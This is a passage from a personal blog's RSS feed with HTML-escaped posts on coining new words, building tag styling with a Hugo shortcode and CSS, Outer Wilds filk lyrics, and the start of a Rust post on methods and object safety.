references and a dozen other things with three or five meanings&#xA;each. In my professional work, I find myself differentiating between the&#xA;&amp;ldquo;gateway server&amp;rdquo; and the &amp;ldquo;gateway server project&amp;rdquo; and the &amp;ldquo;gateway server&#xA;solution&amp;rdquo;. I often slip up, and it often leads to problems.&lt;/p&gt;&#xA;&lt;p&gt;But it&amp;rsquo;s not inevitable. There are other fields, other things full of complexity&#xA;and craft and nuance, with their own words - fields that aren&amp;rsquo;t fifty or sixty&#xA;years old but hundreds, or thousands. Those fields give us words like &lt;strong&gt;bight&lt;/strong&gt;&#xA;(a curved bit of rope) and &lt;strong&gt;chaff&lt;/strong&gt; (the dry outside of the seeds of grain) and&#xA;&lt;strong&gt;adze&lt;/strong&gt; (a cutting tool with the cutting edge perpendicular to the handle) and&#xA;&lt;strong&gt;cordwain&lt;/strong&gt; (shiny leather from the rump of a horse.) These words accumulated&#xA;over centuries, as people from different corners of the world with different&#xA;etymological lineages met and had to communicate about the things they were&#xA;building and doing and selling and buying.&lt;/p&gt;&#xA;&lt;p&gt;Those words have become overloaded, too, as software and geography and aerospace&#xA;engineering have spread out their tentacles, grabbing for signifiers they can&#xA;attach to the new, specific meanings they&amp;rsquo;re creating - and I tried that too, for&#xA;a while. I grabbed at concepts like &lt;strong&gt;true name&lt;/strong&gt; to describe the set of&#xA;information required to identify a particular cached web response, or acronyms&#xA;like &lt;strong&gt;MISO&lt;/strong&gt; (Metadata Inside Small Objects) to describe a technique for&#xA;reducing indirection in a particular datastore. Cultural vampirism will get you&#xA;far; that&amp;rsquo;s how we ended up with concepts like the &lt;strong&gt;terminal&lt;/strong&gt; (from &lt;em&gt;terminal&#xA;emulator&lt;/em&gt;, meaning a program that emulates a &lt;em&gt;computer terminal&lt;/em&gt;, itself from&#xA;from the railway term &lt;em&gt;terminal&lt;/em&gt; which comes from the concept of a &lt;em&gt;terminal&#xA;station&lt;/em&gt; - the end of the line.) For me, though, it&amp;rsquo;s not far enough.&lt;/p&gt;&#xA;&lt;p&gt;So I&amp;rsquo;m making &lt;em&gt;nimi sin&lt;/em&gt; - new words. When I have a new concept in my code, or&#xA;my tabletop preparation, or just in my life, I spend some time on&#xA;&lt;a href=&#34;https://www.wiktionary.org/&#34;&gt;Wiktionary&lt;/a&gt; figuring out what I can call it. I describe the concept&#xA;in a few words, trace their etymologies back a few hops, and rummage around for&#xA;something that sounds good. My tabletop setting of little bounded realities is&#xA;divided by &lt;strong&gt;plamurs&lt;/strong&gt;, from &lt;em&gt;planet&lt;/em&gt; and &lt;em&gt;murus&lt;/em&gt;. Stochastic monitoring at&#xA;a previous job was done by selecting &lt;strong&gt;beorends&lt;/strong&gt;, from the Old English &lt;em&gt;beorht&lt;/em&gt;&#xA;(bright) and &lt;em&gt;ærende&lt;/em&gt; (message, from when we get &amp;ldquo;errand&amp;rdquo;.)&lt;/p&gt;&#xA;&lt;p&gt;In making &lt;em&gt;nimi sin&lt;/em&gt; (or &lt;em&gt;nimisin&lt;/em&gt;, as some &lt;em&gt;toki pona&lt;/em&gt; speakers prone to the&#xA;creation of &lt;em&gt;nimi sin&lt;/em&gt; have taken to calling them), we lose some things.&#xA;A well-selected overload - something semantically adjacent or metaphorically&#xA;appropriate - can be very intuitive to some people. Most &lt;em&gt;nimi sin&lt;/em&gt; can&amp;rsquo;t&#xA;trigger nearly as many associations or bring forth as many new connections, and&#xA;frankly, they sound a little silly to a lot of people.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, we gain a lot. &lt;em&gt;nimi sin&lt;/em&gt; are much more searchable (&lt;code&gt;grep beorend&lt;/code&gt; will get you far on that codebase) on account of their specificity.&#xA;Having a word that means only one or two things enhances the redundancy that&#xA;underpins successful spoken communication, too, in that using the &lt;em&gt;nimi sin&lt;/em&gt;&#xA;reinforces the context of the conversation, rather than relying on it to convey&#xA;meaning. Simply hearing &amp;ldquo;plamur&amp;rdquo; tips my players off that I&amp;rsquo;m talking about the&#xA;cosmology of my fictional world.&lt;/p&gt;&#xA;&lt;p&gt;So try it out! Come up with a few words and start using them. Sound a little&#xA;silly. It&amp;rsquo;s been worth it for me.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Adding Tags to My Projects Page</title>
      <link>https://nora.codes/post/adding-tags-to-my-projects-page/</link>
      <pubDate>Thu, 03 Oct 2024 11:23:02 -0400</pubDate>
      <guid>https://nora.codes/post/adding-tags-to-my-projects-page/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve wanted to change up my &lt;a href=&#34;./projects&#34;&gt;projects page&lt;/a&gt; for a while, but wasn&amp;rsquo;t&#xA;quite sure what to do. I didn&amp;rsquo;t want to use any JavaScript, but I did want to&#xA;organize projects in multiple different ways, rather than just a single set of&#xA;categories like I&amp;rsquo;ve had for a long time.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately what I settled on is a tag system. The tags look like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Project Name&lt;/strong&gt; &#xA;    &lt;span class=&#34;tag t-author&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;author&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA;    &lt;span class=&#34;tag t-library&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;library&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA;    &lt;span class=&#34;tag t-rust&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;rust&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA; is a project!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These tags are just text with some styling applied, and they&amp;rsquo;re inserted with a&#xA;Hugo shortcode. I originally thought to use individual shortcodes for each kind&#xA;of tag, like &lt;code&gt;{{&amp;lt; t-rust &amp;gt;}}&lt;/code&gt; or &lt;code&gt;{{&amp;lt; t-author &amp;gt;}}&lt;/code&gt;, but after making a&#xA;few shortcode files that looked like this:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve wanted to change up my &lt;a href=&#34;./projects&#34;&gt;projects page&lt;/a&gt; for a while, but wasn&amp;rsquo;t&#xA;quite sure what to do. I didn&amp;rsquo;t want to use any JavaScript, but I did want to&#xA;organize projects in multiple different ways, rather than just a single set of&#xA;categories like I&amp;rsquo;ve had for a long time.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately what I settled on is a tag system. The tags look like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Project Name&lt;/strong&gt; &#xA;    &lt;span class=&#34;tag t-author&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;author&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA;    &lt;span class=&#34;tag t-library&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;library&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA;    &lt;span class=&#34;tag t-rust&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;rust&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA; is a project!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These tags are just text with some styling applied, and they&amp;rsquo;re inserted with a&#xA;Hugo shortcode. I originally thought to use individual shortcodes for each kind&#xA;of tag, like &lt;code&gt;{{&amp;lt; t-rust &amp;gt;}}&lt;/code&gt; or &lt;code&gt;{{&amp;lt; t-author &amp;gt;}}&lt;/code&gt;, but after making a&#xA;few shortcode files that looked like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;class&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;tag t-author&amp;#34;&lt;/span&gt;&amp;gt;author&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I decided to &lt;a href=&#34;https://xkcd.com/1205/&#34;&gt;automate the whole thing&lt;/a&gt;. Hugo has a very&#xA;powerful template syntax, and iterating over the arguments to a shortcode is&#xA;easy, so I ended up with a shortcode like &lt;code&gt;{{&amp;lt; t-all author library rust &amp;gt;}}&lt;/code&gt;&#xA;implemented using a loop:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{{- range (seq 0 (sub (len .Params) 1) ) }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{- $arg := $.Get . }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;class&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;tag t-{{ printf `%s` $arg}}&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;class&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;tag-text&amp;#34;&lt;/span&gt;&amp;gt;{{ printf `%s` $arg}}&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;span&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{{- end }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This means there&amp;rsquo;s a span around the whole element, on which I can put the&#xA;background styling, and an internal span to style the text itself. This is easy&#xA;enough to do in CSS:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* Tags for project items */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.tag {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;display&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;inline-block&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;color&lt;/span&gt;: var(--bg-&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;color&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;background-color&lt;/span&gt;: var(--fg-&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;color&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;opacity&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;%&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;padding-left&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;0.25&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;padding-right&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;0.25&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;em&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;border-radius&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;px&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.tag-text {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;opacity&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;%&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;font-weight&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;bold&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;75&lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;%&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;--bg-color&lt;/code&gt; and &lt;code&gt;--fg-color&lt;/code&gt; are defined elsewhere; they&amp;rsquo;re the background and&#xA;text of the blog, respectively, so flipping them like this makes tags very much&#xA;stand out, by default. You might notice that, except for one-off tags like&#xA;&#xA;    &lt;span class=&#34;tag t-this&#34;&gt;&#xA;        &lt;span class=&#34;tag-text&#34;&gt;this&lt;/span&gt;&#xA;    &lt;/span&gt;&#xA;, these tags are actually colored. That&amp;rsquo;s accomplished with a&#xA;little more CSS:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.t-rust,.t-python,.t-javascript,.t-bash,.t-cpp {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;#cc3300&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.t-author,.t-contributor {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;background-color&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;#11aa00&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* ... and so forth */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is the most manual part of the setup, but it&amp;rsquo;s no big deal; I did consider&#xA;giving tags a &amp;ldquo;class&amp;rdquo; so they could automatically pick a color, but it was much&#xA;too complicated to be worth it. When I learn a new language, I&amp;rsquo;ll add to my CSS.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m really happy with how this came out, but I&amp;rsquo;d love to hear feedback from you&#xA;all on whether you find this useful and/or readable!&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>A Matter of Time</title>
      <link>https://nora.codes/filk/a_matter_of_time/</link>
      <pubDate>Sun, 02 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/filk/a_matter_of_time/</guid>
      <description>&lt;p&gt;&amp;ldquo;The Temper of Revenge&amp;rdquo; is one of my favorite filksongs, though I was introduced&#xA;to it by the &lt;em&gt;Star Trek II&lt;/em&gt;-related parody, &amp;ldquo;The Temperature of Revenge&amp;rdquo;.&#xA;A few weeks ago, on a bus from Madison to Chicago, I decided to see if I could&#xA;fit some lyrics about my favorite video game, &lt;em&gt;Outer Wilds&lt;/em&gt;, to the tune.&#xA;It took a lot of revising to do so without massively spoiling the game -&#xA;and, if you ever intend to play it, do be careful of spoilers! -&#xA;but I think I&amp;rsquo;ve succeeded.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&amp;ldquo;The Temper of Revenge&amp;rdquo; is one of my favorite filksongs, though I was introduced&#xA;to it by the &lt;em&gt;Star Trek II&lt;/em&gt;-related parody, &amp;ldquo;The Temperature of Revenge&amp;rdquo;.&#xA;A few weeks ago, on a bus from Madison to Chicago, I decided to see if I could&#xA;fit some lyrics about my favorite video game, &lt;em&gt;Outer Wilds&lt;/em&gt;, to the tune.&#xA;It took a lot of revising to do so without massively spoiling the game -&#xA;and, if you ever intend to play it, do be careful of spoilers! -&#xA;but I think I&amp;rsquo;ve succeeded.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-matter-of-time&#34;&gt;A Matter of Time&lt;/h2&gt;&#xA;&lt;p&gt;(to the tune of &lt;em&gt;The Temper of Revenge&lt;/em&gt;, by Julia Ecklar)&lt;/p&gt;&#xA;&lt;p&gt;We were born on a fragile, ancient world&lt;br&gt;&#xA;Raised up with tree and reed&lt;br&gt;&#xA;There&amp;rsquo;s no time for what we could become&lt;br&gt;&#xA;Yet I&amp;rsquo;ve all the time I need&lt;/p&gt;&#xA;&lt;p&gt;I wake from sleep, it seems, again&lt;br&gt;&#xA;With star-fire strong in my heart&lt;br&gt;&#xA;I step out from the light, walk again through the night&lt;br&gt;&#xA;And towards a black sky, I depart&lt;/p&gt;&#xA;&lt;p&gt;My memory&amp;rsquo;s filled with names and sights&lt;br&gt;&#xA;Fresh in my mind, a web is unfurled&lt;br&gt;&#xA;This time I search not for trinkets or lore&lt;br&gt;&#xA;But how I can shield my world&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CHORUS&lt;/strong&gt;:&lt;br&gt;&#xA;So find me a ship, no matter how small&lt;br&gt;&#xA;Find me a hatchling to answer the call&lt;br&gt;&#xA;Hearth&amp;rsquo;s wood, Nomai metal, with courage will fly&lt;br&gt;&#xA;In a friendship to rival the death in the sky&lt;/p&gt;&#xA;&lt;p&gt;Bring me my scout, bring my scope&lt;br&gt;&#xA;Far from this world, there still may be hope&lt;br&gt;&#xA;I&amp;rsquo;ll search far and wide; towards the stars I will climb&lt;br&gt;&#xA;For it&amp;rsquo;s only a matter of time -&lt;br&gt;&#xA;It&amp;rsquo;s only a matter of time&lt;/p&gt;&#xA;&lt;p&gt;My village is all I&amp;rsquo;ve ever known&lt;br&gt;&#xA;Beneath skies so vivid and clear&lt;br&gt;&#xA;We started our lives at the end of the world&lt;br&gt;&#xA;But our story could never end here&lt;/p&gt;&#xA;&lt;p&gt;My ship holds my air, my spacesuit, and me&lt;br&gt;&#xA;As out from the timbers I speed&lt;br&gt;&#xA;I&amp;rsquo;ll scour every world for the secrets they hold&lt;br&gt;&#xA;For knowledge is all that I need&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll search every ship, each ruin and moon&lt;br&gt;&#xA;I&amp;rsquo;ll read every text and ponder each rune&lt;br&gt;&#xA;I&amp;rsquo;ll fly for an age, if that&amp;rsquo;s what it&amp;rsquo;ll take&lt;br&gt;&#xA;Until I find the the answers I&amp;rsquo;m due!&lt;br&gt;&#xA;&lt;strong&gt;CHORUS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;As a reminder, these lyrics, like everything on this site, are licensed CC-BY-SA.&#xA;That means you can copy them, remix them, and sell things based on them, so long&#xA;as you retain an attribution notice and the CC-BY-SA license. Note that the tune&#xA;is not so licensed.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Methods Should Be Object Safe</title>
      <link>https://nora.codes/post/methods-should-be-object-safe/</link>
      <pubDate>Sat, 04 May 2024 18:06:36 -0500</pubDate>
      <guid>https://nora.codes/post/methods-should-be-object-safe/</guid>
      <description>&lt;p&gt;I think we should use &amp;ldquo;method&amp;rdquo;, in Rust, to refer specifically to associated&#xA;functions which would be object safe if put in a trait.&lt;/p&gt;&#xA;&lt;p&gt;In this terminology scheme:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;associated function&lt;/strong&gt; refers to any function defined in an &lt;code&gt;impl&lt;/code&gt; block,&#xA;which is how most people use it now&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;trait function&lt;/strong&gt; refers to any function defined in a trait&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; specifically refers to associated functions with receivers&#xA;like those specified in the object safety section of the Reference&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;and we should come up with another name for associated functions that take&#xA;&lt;code&gt;self&lt;/code&gt; but are not object-safe, such as taking &lt;code&gt;self&lt;/code&gt; by value.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That&amp;rsquo;s the whole idea;&#xA;if you&amp;rsquo;re unfamiliar with what any of that means, read on.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I think we should use &amp;ldquo;method&amp;rdquo;, in Rust, to refer specifically to associated&#xA;functions which would be object safe if put in a trait.&lt;/p&gt;&#xA;&lt;p&gt;In this terminology scheme:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;associated function&lt;/strong&gt; refers to any function defined in an &lt;code&gt;impl&lt;/code&gt; block,&#xA;which is how most people use it now&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;trait function&lt;/strong&gt; refers to any function defined in a trait&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; specifically refers to associated functions with receivers&#xA;like those specified in the object safety section of the Reference&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;and we should come up with another name for associated functions that take&#xA;&lt;code&gt;self&lt;/code&gt; but are not object-safe, such as taking &lt;code&gt;self&lt;/code&gt; by value.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That&amp;rsquo;s the whole idea;&#xA;if you&amp;rsquo;re unfamiliar with what any of that means, read on.&lt;/p&gt;&#xA;&lt;h2 id=&#34;object-oriented-programming-in-rust&#34;&gt;Object Oriented Programming in Rust&lt;/h2&gt;&#xA;&lt;p&gt;I was chatting with a friend about object oriented programming and wanted to use&#xA;Rust to illustrate why I find it odd that programmers often act like &amp;ldquo;OOP&amp;rdquo; is&#xA;one big concept, when, really, it&amp;rsquo;s more like a kind of Vietnamese spring roll of&#xA;concepts that can be inserted or taken out depending on preference.&lt;/p&gt;&#xA;&lt;p&gt;For instance, in Rust, it&amp;rsquo;s entirely possible - indeed, quite normal - to write&#xA;so-called &lt;strong&gt;free functions&lt;/strong&gt;, like so:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// counter_free.rs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;count: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u32&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; increment(c: Counter)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Counter&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;Counter&lt;span 